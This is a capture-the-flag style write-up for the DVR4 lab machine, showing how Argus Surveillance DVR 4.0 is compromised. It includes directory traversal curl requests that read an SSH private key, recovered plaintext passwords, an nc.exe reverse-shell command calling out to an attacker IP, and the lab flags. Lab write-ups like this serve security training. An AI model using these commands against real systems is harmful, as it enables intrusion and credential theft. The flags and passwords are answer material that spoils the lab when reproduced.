DVR4_writeup

Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Windows


Summary

DVR4 runs Argus Surveillance DVR 4.0 on port 8080, which is vulnerable to an unauthenticated directory traversal (EDB-45296) that allows arbitrary file disclosure. This was used to read the SSH private key of the Viewer user directly off disk, giving an initial foothold over SSH. A second vulnerability in the same product, weak password encryption (EDB-50130), was used to decrypt the DVR's own password store and recover the Administrator's plaintext password, which was then used with runas to get a reverse shell as Administrator.


Service Enumeration

Nmap

nmap -sCV -p- -oN scans/tcpall.nmap $IP
nmap -sCV -oN scans/tcp1000.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

Open ports: 22 (Bitvise WinSSHD 8.48), 135/139/445 (RPC/SMB), 8080 (Argus Surveillance DVR, HTTP), 49664-49669 (RPC). UDP scan returned only open|filtered results, nothing confirmed open.

Web 8080 - Argus Surveillance DVR

Main page:

About page confirmed version 4.0:

Users page listed two possible usernames, Administrator and Viewer:

Directory Traversal (EDB-45296)

Argus Surveillance DVR 4.0.0.0 allows unauthenticated directory traversal via the RESULTPAGE parameter of WEBACCOUNT.CGI.

curl "http://$IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

Confirmed with a second known file:

curl "http://$IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem32%2Fdrivers%2Fetc%2Fhosts"

Found that fewer ../ sequences were needed and that encoding of special characters other than whitespace was not required. Used this to read the SSH private key of the Viewer user directly:

curl "http://$IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=../../../../users/viewer/.ssh/id_rsa"

Tried the same path for Administrator without success.


Initial Access - SSH with Leaked Private Key

Saved the key as id_rsa with 600 permissions and logged in as Viewer.

ssh -i id_rsa Viewer@$IP

The initial connection failed with a terminal initialization error, resolved by forcing a terminal type:

TERM=xterm ssh -i id_rsa Viewer@$IP

local.txt found on Viewer's Desktop:

whoami && hostname && ipconfig && type local.txt


Privilege Escalation - Weak Password Encryption (EDB-50130)

Argus Surveillance DVR 4.0 stores its own credentials in C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini, encoded with a weak, reversible scheme.

type DVRParams.ini

This revealed encoded password hashes for both Administrator and Viewer. A public decoder script (EDB-50130) maps 4-character hex chunks back to individual characters.

pass_hash = "ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8"

Running the script against Viewer's hash decoded cleanly to ImWatchingY0u. Administrator's hash decoded to 14WatchD0g with one trailing chunk unresolved, since the script's lookup table has no entries for special characters. Testing candidate symbols by hand found the missing character to be $, giving the full password 14WatchD0g$.

nc.exe and psexec.exe were already present in Viewer's home folder, so no upload was needed. Used runas to spawn a reverse shell as Administrator with the recovered password:

runas /user:Administrator "nc.exe 192.168.45.248 1234 -e cmd"
nc -lvnp 1234

proof.txt found on Administrator's Desktop:

whoami && hostname && ipconfig && type C:\Users\Administrator\Desktop\proof.txt


Flags

Flag Value
local.txt 64728fc80a3c5f3390430cc5ba520060
proof.txt 6fba9f22505997dc9c7b6730a801985d